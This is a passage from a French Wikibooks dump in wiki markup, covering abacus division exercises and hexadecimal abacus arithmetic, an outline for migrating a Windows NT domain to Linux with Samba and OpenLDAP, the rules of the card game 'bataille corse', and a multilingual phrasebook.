[[Image:bouliernb0.png]] | align="center" | ... | align="center" | [[Image:bouliernb7.png]] |} *20/7 donne (2 ; 6) {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 5 | align="center" | '''1''' | align="center" | 1 | align="center" | 4 | align="center" | 2 | align="center" | ... | align="center" | 0 | align="center" | 0 | align="center" | '''0''' | align="center" | 0 | align="center" | 0 | align="center" | 6 | align="center" | ... | align="center" | 7 |- | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb4.png]] | align="center" | [[Image:bouliernb2.png]] | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb6.png]] | align="center" | ... | align="center" | [[Image:bouliernb7.png]] |} Le quotient par défaut est donc 51,142 S'initier au boulier en 10 leçons - Leçon 8 157 11960 2004-07-31T21:13:32Z HB 15 modèle {{Boulier}} '''Leçon 8 - Exercices de divisions''' <br/> <br/> Dans les exercices qui suivent, certaines étapes de calculs sont fournies.On peut alors mieux percevoir les modifications progressives des colonnes réservées à l'écriture du quotient et à l'écriture des restes successifs. ==Divisions par un nombre à un chiffre== {| width="400" cellspacing="0" cellpadding="0" align="center" |- | align="center" | '''6319 par 7''' | align="center" | '''12084 par 3''' | align="center" | '''2359 par 6''' | align="center" | '''7653 par 4''' | align="center" | '''3256 par 9''' |- | align="center" | ...<font color = "red">63</font>19...7 | align="center" | ...<font color = "red">12</font>084...3 | align="center" | ...<font color = "red">23</font>59...6 | align="center" | ...<font color = "red">7</font>653...4 | align="center" | ...<font color = "red">32</font>56...9 |- | align="center" | 9...<font color = "red">1</font>9...7 | align="center" | 4 ...<font color = "red">0</font>84...3 | align="center" | 3...<font color = "red">55</font>9...6 | align="center" | 1...<font color = "red">36</font>53...4 | align="center" | 3...<font color = "red">55</font>6...9 |- | align="center" | 90...<font color = "red">19</font>...7 | align="center" | 40...<font color = "red">8</font>4...3 | align="center" | 39...<font color = "red">19</font>...6 | align="center" | 19...<font color = "red">5</font>3...4 | align="center" | 36...<font color = "red">16</font>...9 |- | align="center" | 902...5...7 | align="center" | 402...<font color = "red">24</font>...3 | align="center" | 393...1...6 | align="center" | 191...<font color = "red">13</font>...4 | align="center" | 361...7...9 |- | align="center" | | align="center" | 4028...0...3 | align="center" | | align="center" | 1913...1...4 | align="center" | |} ==Divisions par un nombre à 2 chiffres== Dans certains exemples, des approximations par défaut du quotient et l'ajustement qui s'ensuit ont été volontairement laissées pour montrer la souplesse du calcul avec boulier par rapport au calcul à la main. {| width = "500" cellspacing="0" cellpadding="0" align="center" |- | align="center" | '''4312 par 28''' | align="center" | '''7212 par 13''' | align="center" | '''40003 par 27''' | align="center" | '''4321 par 11''' | align="center" | '''1234 par 72''' |- | align="center" | ...<font color = "red">43</font>12...28 | align="center" | ...<font color = "red">72</font>12...13 | align="center" | ...<font color = "red">40</font>003...27 | align="center" | ...<font color = "red">43</font>21...11 | align="center" | ...<font color = "red">123</font>4...72 |- | align="center" | 1...<font color = "red">151</font>2...28 | align="center" | 3 ...<font color = "red">33</font>12...13 | align="center" | 1...<font color = "red">130</font>03...27 | align="center" | 3...<font color = "red">102</font>1...11 | align="center" | 1...<font color = "red">514</font>...72 |- | align="center" | 15...<font color = "red">112</font>...28 | align="center" | 5...<font color = "red">71</font>2...13 | align="center" | 14...<font color = "red">220</font>3...27 | align="center" | 39...<font color = "red">31</font>...11 | align="center" | 17...10...72 |- | align="center" | 154...0...28 | align="center" | 53...<font color = "red">32</font>2...13 | align="center" | 147...<font color = "red">31</font>3...27 | align="center" | 392...9...11 | align="center" | |- | align="center" | | align="center" | 55...<font color = "red">62</font>...13 | align="center" | 148...<font color = "red">43</font>...27 | align="center" | | align="center" | |- | align="center" | | align="center" | 553...<font color = "red">23</font>...13 | align="center" | 1481...16...27 | align="center" | | align="center" | |- | align="center" | | align="center" | 554...10...13 | align="center" | | align="center" | | align="center" | |} ==Divisions à virgules== {| width = "600" cellspacing="0" cellpadding="0" align="center" |- | align="center" | '''53,000 par 8''' | align="center" | '''123,000 par 7''' | align="center" | '''12,58 par 13''' | align="center" | '''925,700 par 83''' | align="center" | ''' 83,58 par 3,2''' |- | align="center" | ...<font color = "red">53</font>,000...8 | align="center" | ...<font color = "red">12</font>3,000...7 | align="center" | ...<font color = "red">12</font>,58...13 | align="center" | ...<font color = "red">92</font>5,700...83 | align="center" | ...<font color = "red">83</font>,58...32 |- | align="center" | 6,...<font color = "red">5,0</font>00...8 | align="center" | 1 ...<font color = "red">53</font>,000...7 | align="center" | 0,...<font color = "red">12,5</font>8...13 | align="center" | 1...<font color = "red">95</font>,700...83 | align="center" | 2,...<font color = "red">19,5</font>8...32 |- | align="center" | 6,6...0,<font color = "red">20</font>0...8 | align="center" | 17,...<font color = "red">4,0</font>00...7 | align="center" | 0,9...0,<font color = "red">88</font>...13 | align="center" | 11,...<font color = "red">12,7</font>00...83 | align="center" | 2,6...0,<font color = "red">38</font>...32 |- | align="center" | 6,62...0,0<font color = "red">40</font>...8 | align="center" | 17,5...0,<font color = "red">50</font>0...7 | align="center" | 0,96...0,010...13 | align="center" | 11,1...<font color = "red">4,40</font>0...83 | align="center" | 2,61...0,06...32 |- | align="center" | 6,625...0...8 | align="center" | 17,57...0,0<font color = "red">10</font>...7 | align="center" | | align="center" | 11,15...0,<font color = "red">250</font>...83 | align="center" | 26,1...0,06...3,2 |- | align="center" | | align="center" | 17,571...0,003...7 | align="center" | | align="center" | 11,153...0,001...83 | align="center" | |} Migration Windows NT vers Linux 158 33645 2006-02-20T17:01:53Z Pulsar1 149 /* Historique */ = Introduction = == Historique == Depuis la création, par Microsoft, des concepts de Workgroup et de contrôleur de domaine, les administrateurs de réseaux informatiques en relation avec des concepteurs de logiciels libres, ont réussit à garantir une certaine interropérabilité de réseaux gérés par différents systèmes d'exploitation. Le logiciel SaMBa a toujours réussi à implémenter sous Linux les mêmes fonctionnalités. Avec Windows NT est apparu SaMBa version 2. Avec Windows 2000 est apparu SaMBa version 3. SaMBa gére très bien les ressources partagées, mais il a quelques lacunes concernant la base des utilisateurs ou l'utilisation des ACL (Access List Control: Liste des accès contrôlé). Actuellement, il est possible d'intégrer les ACL grâce au système de fichier XFS. Dans cet essai, nous allons détailler la migration d'un domaine NT à un annuaire OpenLDAP avec gestion des ressources grâce à SaMBa. == Architecture == == Méthodologie == = Migration = == Mise en place du serveur sous Linux == === La distribution === Vous pouvez utiliser Fedora Core 3 ou une debian mais je vous conseille la Mandriva (www.mandrivalinux.com). === Les packages === === Les scripts === == Préparation du serveur Windows NT == == Scripts de duplications des comptes == == Tests == == Déploiement == == Administration centralisée des postes clients == == Configurations avancées == = Conclusion = == Références == Auteur: Antoine Nivard antoine (AT) nivard.com Sujet: Suite à une étude collaborative de migration, voici la méthodologie de migration de domaine NT à une gestion de domaine sous Linux avec OpenLDAP et SaMBa. * Source: http://wiki.aful.org/ActiveDirectory Boîte à jeux/La bataille corse 162 33190 2006-02-17T11:49:04Z 88.136.57.237 2 à 104 (en théorie) joueurs <br/> durée d'une partie: très variable mais limitable. '''But du jeu:''' Obtenir toutes les cartes '''Matériel:''' Un jeu de tarot suffit. '''Règles:''' Les cartes sont distribuées en nombre égal à chaque joueur qui ne peuvent ''pas'' les regarder. Le solde éventuel est posé en un tas, face visible au centre de la table. Les cartes spéciales sont l'as, le roi, la dame, le valet et l'excuse. Le jeu se déroule par batailles. Le joueur suivant le donneur commence la première bataille. Chaque bataille se compose de deux phases: La première, où chaque joueur pose à son tour la carte supérieure de son paquet sur la pile. Il ne peut pas la voir avant les autres joueurs. La seconde qui commence dès lors qu'une carte spéciale a été posée. Le joueur suivant doit alors se défendre. Il dispose d'un nombre variable d'essais selon la carte spéciale qui a été jouée: 4 pour un as, 3 pour un roi, 2 pour une dame et un seul pour un valet. Il pose une première carte, toujours sans la voir avant les autres au sommet de la pile. Si c'est une carte spéciale, il a réussi sa défense et c'est au joueur suivant de défendre contre cette nouvelle carte spéciale. Sinon, il pose une deuxième carte, voire une troisième ou une quatrième selon le nombre d'essais qui lui étaient accordés. Lorsqu'une attaque réussi, c'est-à-dire lorsque le défendant épuise tous ses essais sans sortir une carte spéciale, le dernier attaquant (qui précède donc le défenseur battu) remporte la bataille et place tout le tas de cartes à la fin de son paquet, face cachée et entame une nouvelle bataille. Si un joueur épuise son propre paquet sans réussir sa défense ni utiliser tous ses essais, l'attaque continue avec le joueur suivant qui doit donc se défendre sur le nombre d'essais restants. Une règle complémentaire permet de conserver de l'intérêt au jeu, même pour les joueurs dépouillés de la totalité de leurs cartes. En effet, dès la première carte posée (sur le solde éventuel), n'importe quel joueur peut frapper le tas du plat de la main lorsque la carte posée est de même nombre (ou figure) que celle immédiatement en-dessous, ce qui lui permet de remporter le tas de cartes. Le joueur qui frappe à mauvais escient doit donner une carte du sommet de son paquet à chacun des autres joueurs. Si il ne peut le faire, il est contraint de ne plus frapper pendant un certain temps (30 secondes par exemple). Lorsque toutes les cartes sont réunies entre les mains d'un même joueur, il doit encore "jouer" une bataille (le plus rapidement possible dans son intérêt) donnant ainsi une dernière opportunité aux autres joueurs de frapper le tas et ainsi de relancer la partie. Lorsque le temps est compté, on peut se contenter de compter le nombre de cartes entre les mains des participants à l'issue d'un temps fixé au préalable. Il existe une variante qui renforce l'aspect ludique du jeu. On l'apellera la variante "Laure" du nom de la créatrice : On conserve les règles précédentes en y rajoutant quelques autres. L'addition : lorsque la somme des deux dernières cartes fait 10, on doit frapper le tas pour le remporter Le sandwich : une paire mais avec une carte d'intervalle on frappe le tas pour le remporter ( ex : un 6, un 7, un 6) Le "Big-Mac" : un sandwich mais avec deux cartes d'intervalle Encore une autre variante pour ceux qui maitrise la précedente et qui veulent relever un défi. La variante "Laure +" : Même règles que la variante "Laure" avec Le sandwich addition : Un mélange des deux règles, l'addition de deux cartes fait 10. Ces deux cartes ont une carte d'intervalle (ex: un 6, un 7, un 4) Le "Big-Mac addition": Le sandwich addition mais avec deux cartes d'intervalle {{BoiteJeux}} S'initier au boulier en 10 leçons - Leçon 9 163 21427 2005-09-16T11:45:22Z Guillaumito 46 restitution de la dernière modification de Marc {{Boulier}} '''Leçon 9 - La base hexadécimale avec le boulier chinois.''' Le boulier japonais, avec sa quinaire et ses 4 unaires permet d'écrire, dans chaque colonne, les nombres de 0 à 9. Il permet donc d'écrire en base 10 ([[w:système décimal|base décimale]]). Le boulier chinois, avec ses 2 quinaires et ses 5 unaires permet toujours d'écrire en base 10 (une quinaire et une unaire sont alors toujours désactivées). Mais il permet aussi d'écrire, dans chaque colonne, les nombres de 0 à 15. Il permet donc d'écrire en base 16 ([[w:système hexadécimal|base hexadécimale]]). ==Ecriture en base hexadécimale== ===des chiffres=== Il existe 16 chiffres en base hexadécimale : 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , A (10) , B (11) , C (12) , D (13) , E (14) et F (15) qui se représentent sur le boulier de la manière suivante: <center> {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 0 || align="center" | 1 | align="center" | 2 | align="center" | 3 || align="center" | 4 | align="center" | 5 | align="center" | 6 || align="center" | 7 | align="center" | 8 || align="center" | 9 |----- | [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] |} </center> <center> {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | A | align="center" | B || align="center" |C | align="center" |D|| align="center" | E | align="center" | F |----- | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]] |} </center> === des nombres=== L'écriture des nombres s'effectue en affectant à chaque colonne son poids, comme dans l'écriture hexadécimale, la colonne de droite est la colonne des unités, à sa gauche, la colonne de 16<sup>1</sup>, à sa gauche la colonne de 16<sup>2</sup> ... Le nombre 1DF3 s'écrit alors <center> {| cols="10" cellspacing="0" cellpadding="0" |- | align="center" | 1 | align="center" | D | align="center" | F | align="center" | 3 |- | [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] |} </center> ==Addition en hexadécimal== Les règles d'additions sont analogues à celles décrites dans la [[S'initier au boulier en 10 leçons - Leçon 2|leçon 2]] mais plus nombreuses. Elles peuvent se regrouper ainsi ===Ajouter 1, 2, 3, ou 4=== *Si le nombre d'unaires est suffisant, activer des unaires (remplacer éventuellement 5 unaires par une quinaire). *Sinon, **S'il reste au moins une quinaire désactivée, activer la quinaire et désactiver des unaires (complément à 5). **Sinon, activer la unaire de gauche, désactiver deux quinaires et désactiver des unaires (complément à 6). ===Ajouter 5=== *S'il reste au moins une quinaire désactivée, activer la quinaire. *Sinon **Activer 5 unaires si cela est possible. **Sinon, activer la unaire de gauche et désactiver deux quinaires et une unaire. ===Ajouter 6, 7, 8 ou 9=== *S'il y a assez d'unaires désactivées ** S'il reste au moins une quinaire, activer la quinaire et les unaires. **Sinon, activer la unaire de gauche, désactiver les deux quinaires, activer le nombre d'unaires moins une. *Sinon **S'il reste deux quinaires, activer les deux quinaires et désactiver des unaires (complément à 10). **Sinon, activer la unaire de gauche, désactiver une quinaire et des unaires (complément à 16) ===Ajouter A (10)=== * Si deux quinaires sont désactivées, activer deux quinaires. *Sinon, ** S'il reste 5 unaires désactivées ***S'il reste une quinaire désactivée, activer 5 unaires et une quinaire. ***Sinon, activer la unaire de gauche, désactiver deux quinaires et activer 4 unaires ** S'il ne reste pas 5 unaires désactivées, activer la unaire de gauche, désactiver une quinaire et une unaire ===Ajouter B (11), C (12), D(13), E (14) ou F (15)=== *S'il reste assez d'unaires désactivées, **S'il reste assez de quinaires désactivées, activer les deux quinaires et les unaires **Sinon, activer la unaire de gauche, désactiver une quinaire, activer le nombre d'unaires moins une. *S'il ne reste pas assez d'unaires désactivées, activer la unaire de gauche, désactiver des unaires (complément à 16) ==Soustraction en hexadécimal== Il suffit de prendre les règles précédentes, de remplacer ''ajouter'' par ''ôter'' et de permuter les verbes ''activer/désactiver''. Ce qui donne: ===Oter 1, 2, 3, ou 4=== *Si le nombre d'unaires activées est suffisant, désactiver des unaires . *Sinon, **S'il reste au moins une quinaire activée, désactiver la quinaire et activer des unaires (complément à 5). **Sinon, désactiver la unaire de gauche, activer deux quinaires et activer des unaires (complément à 6). ===Oter 5=== *S'il y a 5 unaires activées, désactiver les 5 unaires. *Sinon **s'il reste au moins une quinaire activée, désactiver la quinaire. **Sinon, désactiver la unaire de gauche et activer deux quinaires et une unaire. ===Oter 6, 7, 8 ou 9=== *S'il y a assez d'unaires activées ** S'il reste au moins une quinaire activée, désactiver la quinaire et les unaires. **Sinon, désactiver la unaire de gauche, activer les deux quinaires, désactiver le nombre d'unaires moins une. *Sinon **S'il reste deux quinaires activées, désactiver les deux quinaires et activer des unaires (complément à 10). **Sinon, désactiver la unaire de gauche, activer une quinaire et des unaires (complément à 16) ===Oter A (10)=== * Si deux quinaires sont activées, désactiver deux quinaires. *Sinon, ** S'il y a 5 unaires activées ***S'il reste une quinaire activée, désactiver 5 unaires et une quinaire. ***Sinon, désactiver la unaire de gauche, activer deux quinaires et désactiver 4 unaires ** S'il n'y a pas 5 unaires activées, désactiver la unaire de gauche, activer une quinaire et une unaire ===Oter B (11), C (12), D (13), E (14) ou F (15)=== *S'il reste assez d'unaires activées, **S'il reste assez de quinaires activées, désactiver les deux quinaires et les unaires **Sinon, désactiver la unaire de gauche, activer une quinaire, désactiver le nombre d'unaires moins une. *S'il ne reste pas assez d'unaires activées, désactiver la unaire de gauche, activer des unaires (complément à 16) ==Conversion== Il importe de connaitre la table de multiplication par 16: {| border="1" cellspacing="0"| |- |align="center" width = "40"|1 |align="center" width = "40"|2 |align="center" width = "40"|3 |align="center" width = "40"|4 |align="center" width = "40"|5 |align="center" width = "40"|6 |align="center" width = "40"|7 |align="center" width = "40"|8 |align="center" width = "40"|9 |- |align="center" width = "40"|16 |align="center" width = "40"|32 |align="center" width = "40"|48 |align="center" width = "40"|64 |align="center" width = "40"|80 |align="center" width = "40"|96 |align="center" width = "40"|112 |align="center" width = "40"|128 |align="center" width = "40"|144 |} ===Conversion décimal vers hexadécimal=== Pour la suite, les boules ne seront plus dessinées, on indiquera seulement le nombre écrit dans chaque colonne. ''Exemple'': Conversion de 3565 en base hexadécimale * Ecrire le nombre décimal à droite: {| border="0" cellspacing="0"| |- |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"|<font color="red">3</font> |align="center" width = "40"|<font color="red">5</font> |align="center" width = "40"|<font color="red">6</font> |align="center" width = "40"|<font color="red">5</font> |} *Effectuer la [[S'initier au boulier en 10 leçons - Leçon 7|division]] de ce nombre 3565 par 16: {| border="0" cellspacing="0"| |- |align="center" width = "40"|2 |align="center" width = "40"|2 |align="center" width = "40"|2 |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"|<font color="red">1</font> |align="center" width = "40"|<font color="red">3</font> |} *Convertir le reste en hexadécimal (il suffit pour cela de remplacer la unaire de gauche par deux quinaires à droite) et déplacer le quotient sur la droite : {| border="0" cellspacing="0"| |- |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"|<font color="red">2</font> |align="center" width = "40"|<font color="red">2</font> |align="center" width = "40"|<font color="red">2</font> |align="center" width = "40"|D |} *Effectuer la division du nouveau nombre décimal 222 par 16: {| border="0" cellspacing="0"| |- |align="center" width = "40"|1 |align="center" width = "40"|3 |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"|<font color="red">1</font> |align="center" width = "40"|<font color="red">4</font> |align="center" width = "40"|D |} * Convertir le reste et déplacer le quotient: {| border="0" cellspacing="0"| |- |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"|<font color="red">1</font> |align="center" width = "40"|<font color="red">3</font> |align="center" width = "40"|E |align="center" width = "40"|D |} * Il n'y a plus de division à opérer, il suffit de convertir le dernier nombre en hexadécimal: {| border="0" cellspacing="0"| |- |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"|D |align="center" width = "40"|E |align="center" width = "40"|D |} ===Conversion hexadécimal vers décimal=== ''Exemple'': Conversion de 1DF3 en base décimale. *Ecrire le nombre hexadécimal à droite: {| border="0" cellspacing="0"| |- |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"|<font color="red">1</font> |align="center" width = "40"|<font color="red">D</font> |align="center" width = "40"|<font color="red">F</font> |align="center" width = "40"|<font color="red">3</font> |} *Convertir,éventuellement, le nombre le plus à gauche en décimal et le multiplier par 16, la colonne concernée devient alors colonne des unités : {| border="0" cellspacing="0"| |- |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"|1 |align="center" width = "40"|6 |align="center" width = "40"|<font color="red">D</font> |align="center" width = "40"|<font color="red">F</font> |align="center" width = "40"|<font color="red">3</font> |} *Convertir et ajouter le nombre suivant ( <font color="red">D</font> = 13): {| border="0" cellspacing="0"| |- |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"|2 |align="center" width = "40"|9 |align="center" width = "40"| |align="center" width = "40"|<font color="red">F</font> |align="center" width = "40"|<font color="red">3</font> |} * Multiplier le nouveau nombre par 16: {| border="0" cellspacing="0"| |- |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"|4 |align="center" width = "40"|6 |align="center" width = "40"|4 |align="center" width = "40"| |align="center" width = "40"|<font color="red">F</font> |align="center" width = "40"|<font color="red">3</font> |} *Convertir et ajouter le nombre suivant ( <font color="red">F</font> = 15): {| border="0" cellspacing="0"| |- |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"|4 |align="center" width = "40"|7 |align="center" width = "40"|9 |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"|<font color="red">3</font> |} *Multiplier le nouveau nombre par 16 {| border="0" cellspacing="0"| |- |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"|7 |align="center" width = "40"|6 |align="center" width = "40"|6 |align="center" width = "40"|4 |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"|<font color="red">3</font> |} *ajouter 3 au résultat final {| border="0" cellspacing="0"| |- |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"|7 |align="center" width = "40"|6 |align="center" width = "40"|6 |align="center" width = "40"|7 |align="center" width = "40"| |align="center" width = "40"| |align="center" width = "40"| |} Phrases usuelles en différentes langues 164 44371 2006-06-11T23:27:56Z 128.187.0.165 /* [[w:langue française|Français]] */ Voici une liste de phrases usuelles en différentes langues. ''La transcription entre barres obliques est au standard [[w:SAMPA|SAMPA]], la prononciation populaire est entre parenthèses''. ==[[w:langue basque|Basque]]== *Bonjour : ''Egunon'' *Bonsoir : ''Arratsaldeon'' *Bonne nuit : ''Gabon'' *Au revoir : ''Ikusi arte'' ou ''Agur'' *S'il vous plaît : ''Mesedez'' ou ''Arren'' *Merci : ''Eskerrik asko'' ou ''Mila esker'' *Oui : ''Bai'' *Non : ''Ez'' *Pardon : ''Barkatu'' *Où sont les toilettes ? : ''Non daude komunak ?'' ==[[w:langue vietnamienne|Vietnamien]]== *Vietnam: ''Việt Nam'' / *Bonjour: ''Xin chào'' / *Au revoir: ''Tạm biệt'' / *S'il vous plaît : ''Thưa ông, bà...'' / *Merci : ''Cám ơn'' / *Ceci : ''Cái này'' / *Combien ? : ''(Giá) bao nhiêu?'' / *Oui : ''Đồng ý/Vâng'' / *Non : ''Không'' / *Pardon : ''Xin lỗi'' / *Je ne comprends pas : ''Tôi không hiểu'' / *Où sont les toilettes ? : ''Xin cho hỏi nhà vệ sinh ở đâu?'' / *Parlez-vous français ? : ''Anh có nói tiếng Pháp không?'' ==[[w:langue allemande|Allemand]]== *Allemand: ''Deutsch'' /dojtS/ («&nbsp;doïtch&nbsp;») *Bonjour: ''hallo'' /h@'l:o:/ («&nbsp;halo&nbsp;») *Au revoir: ''auf Wiedersehen'' /awf '?vi:dERze:n/ («&nbsp;aoff videurzén&nbsp;») *SVP: ''bitte'' /'bIt:@/ («&nbsp;biteu&nbsp;») *Merci: ''danke'' /'daNkE/ («&nbsp;dankeu&nbsp;») *Ceci: ''das'' /'dAs/ («&nbsp;dass&nbsp;») *Combien ?: ''wie viel?'' /'vi '?fi:l/ («&nbsp;vi fil&nbsp;») *Français: ''Französisch'' («&nbsp;fra.ntseuzich&nbsp;») *Oui: ''ja'' /'ja/ («&nbsp;ya&nbsp;») *non: ''nein'' /'najn/ 